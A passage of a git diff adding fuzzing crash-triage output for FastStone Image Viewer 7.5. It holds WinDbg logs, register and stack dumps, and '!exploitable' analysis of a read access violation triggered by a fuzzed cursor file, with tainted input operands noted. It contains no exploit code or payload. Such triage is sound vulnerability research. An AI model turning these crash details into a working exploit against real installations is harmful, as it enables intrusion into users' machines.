C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1dac.1244): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00ffed2d ecx=07ed7b10 edx=00003879 esi=fce30010 edi=0f670fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.741047051771987040000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=4.84264e+030 1.36725e-005 4.7536e-006 -3.32605e-010 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fb8130 07f35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003a6000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003a6000 85d78f35 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6291 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003a6000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2015/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2015/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..1ca80aa Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/2015/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/20989/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/20989/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/20989/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/20989/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/20989/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..c61f816 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/20989/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/20989/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/20989/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..02bc50d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/20989/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x16B4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x16B4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(16b4.1204): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00006d2d ecx=07e47b10 edx=00003879 esi=12768f40 edi=07c70fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.715714303862129760000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 6.417186000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-66.9745 2.37794e-008 0.00331845 1.54077e-017 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f28130 07ea5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002f1000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002f1000 445c0d89 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bd 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002f1000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/20989/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/20989/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..02bc50d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/20989/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe 